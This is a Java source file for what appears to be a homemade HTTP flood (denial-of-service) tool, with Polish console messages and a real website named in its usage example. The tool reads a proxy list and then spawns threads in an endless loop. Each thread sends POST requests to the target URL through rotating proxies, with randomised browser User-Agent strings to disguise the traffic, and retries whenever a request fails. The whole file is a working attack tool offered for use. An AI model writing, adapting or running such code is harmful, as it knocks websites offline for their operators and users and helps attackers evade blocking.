package pl.LimePolish.gowno.xd; import java.io.BufferedReader; import java.io.DataOutputStream; import java.io.File; import java.io.IOException; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.MalformedURLException; import java.net.Proxy; import java.net.URL; import java.net.URLEncoder; import java.nio.charset.Charset; import java.util.ArrayList; import java.util.List; import java.util.Random; import java.util.Scanner; public class Main { public static void main(String[] args) { String url2 = ""; try { url2 = String.valueOf(args[0]); } catch (Exception e) { System.out.println("Wprowadz prawidlowy adres do strony!"); System.out.println("ex. java -jar .jar https://ls-stories.pl/"); System.exit(0); return; } final String url = url2; System.out.println("### uruchamianie ###"); final long time = System.currentTimeMillis(); loadProxiesFromFile(); final long time1 = System.currentTimeMillis() - time; System.out.println("### zaladowano proxy w czasie: "+time1+"ms!"); while(true) { new Thread(new Runnable() { @Override public void run() { try { attack(1, url); throw new ThreadDeath(); } catch (IOException e) {} } }).start(); } } private static List proxies = new ArrayList(); private static int proxyIterator; public static void loadProxiesFromFile() { try { final File f = new File("huj/proxy.txt"); final Scanner s = new Scanner(f); while (s.hasNext()) { final String[] split = s.next().split(":", 2); proxies.add(new Proxy(Proxy.Type.HTTP, new InetSocketAddress(split[0], Integer.parseInt(split[1])))); } s.close(); } catch (Exception e) { } System.out.println("### " + proxies.size() + " adresow zaladowano! ###"); } public static List getProxies() { return proxies; } public static Proxy getRandomProxy() { if (proxyIterator > proxies.size() - 1) { proxyIterator = 0; } proxyIterator += 1; return proxies.get(proxyIterator); } public static void attack(int id, String url) throws IOException { new Thread(new Runnable() { @Override public void run() { HttpURLConnection con = null; List list = new ArrayList(); list.add("Yandex/1.01.001 (compatible; Win16; I)"); list.add("Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"); list.add("Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"); list.add("Opera/9.80 (Android; Opera Mini/12.0.1987/37.7327; U; pl) Presto/2.12.423 Version/12.16"); list.add("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4"); list.add("Mozilla/5.0 (Linux; U; Android 6.0.1; zh-CN; F5121 Build/34.0.A.1.247) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.5.1.944 Mobile Safari/537.36"); list.add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"); list.add("Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"); try { URL myurl = null; try { myurl = new URL(url); } catch (MalformedURLException e2) { e2.printStackTrace(); } try { (con = (HttpURLConnection)myurl.openConnection(getRandomProxy())).setDoOutput(true); String cookiee=(URLEncoder.encode("b123456786c2", "UTF-8")); con.setDoInput(true); con.setAllowUserInteraction(true); con.setInstanceFollowRedirects(true); System.setProperty("http.keepAlive", "true"); System.setProperty("java.net.useSystemProxies", "true"); System.setProperty("http.maxConnections", "20"); System.setProperty("http.maxRedirects", "50"); HttpURLConnection.setFollowRedirects(true); con.setRequestMethod("POST"); con.setRequestProperty("charset", "utf-8"); con.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); con.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch"); String random = list.get(new Random().nextInt(list.size())); con.setRequestProperty("User-Agent", random); con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); con.setRequestProperty("Content-Length", URLEncoder.encode("a123456786+1", "UTF-8")); //System.out.println(this + " " + con.getResponseCode()); con.getInputStream(); con.setRequestProperty("Set-Cookie", cookiee); Throwable t = null; try { final DataOutputStream wr = new DataOutputStream(con.getOutputStream()); try { } finally { if (wr != null) { wr.close(); } } } finally { if (t == null) { final Throwable t2 = null; t = t2; } else { final Throwable t2 = null; if (t != t2) { t.addSuppressed(t2); } } } final Throwable t3 = null; try { final BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); try { final StringBuilder content = new StringBuilder(); String line; while ((line = in.readLine()) != null) { content.append(line); content.append(System.lineSeparator()); } } finally { if (in != null) { in.close(); } } } finally { if (t3 != null) { final Throwable t4 = null; if (t3 != t4) { t3.addSuppressed(t4); } } } } catch (Exception e) { try { attack(id, url); } catch (IOException e1) { throw new ThreadDeath(); } throw new ThreadDeath(); } } finally { if(con != null) { con.disconnect(); } } if(con != null) { con.disconnect(); } throw new ThreadDeath(); } }).start(); } }